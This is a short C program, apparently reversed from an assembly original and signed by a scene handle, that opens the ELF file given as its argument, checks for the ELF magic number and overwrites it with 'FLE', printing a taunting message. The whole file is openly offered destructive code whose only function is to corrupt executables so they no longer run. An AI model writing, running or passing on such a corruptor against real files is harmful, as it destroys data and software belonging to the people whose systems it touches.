// Reversed to C from FLE-ELFcorrupt.s (ASM)
// nitrous
#include<stdio.h>

int main(int argc, char **argv)
{
	int MAGIC_YEAH = 0x464c457f;
	int MAGIC_HELL = 0x454c467f;

	if(argv[1] == NULL)
		goto usage;

	int eax, edi, esp;
	if((eax = open(argv[1], 2)) < 0)
		goto erropen;
	edi = eax;
	goto checkifelf;

erropen:
	write(1, "Cannot open() file\n", 19);
	goto exit;

checkifelf:
	read(edi, &esp, 4);
	if(esp != MAGIC_YEAH)
		goto notelf;
	goto infect;

notelf:
	write(1, "This is not an ELF file\n", 24);
	goto closefile;

usage:
	write(1, "I need an ELF file as argument\n", 31);
	goto exit;

infect:
	write(1, "Changed \"ELF\" to \"FLE\" hehehe }:-)\nBy -=[nITROUs]=-\n", 52);

	lseek(edi, 0, 0);
	esp = MAGIC_HELL;
	write(edi, &esp, 4);

closefile:
	close(edi);

exit:
	exit(0);
}

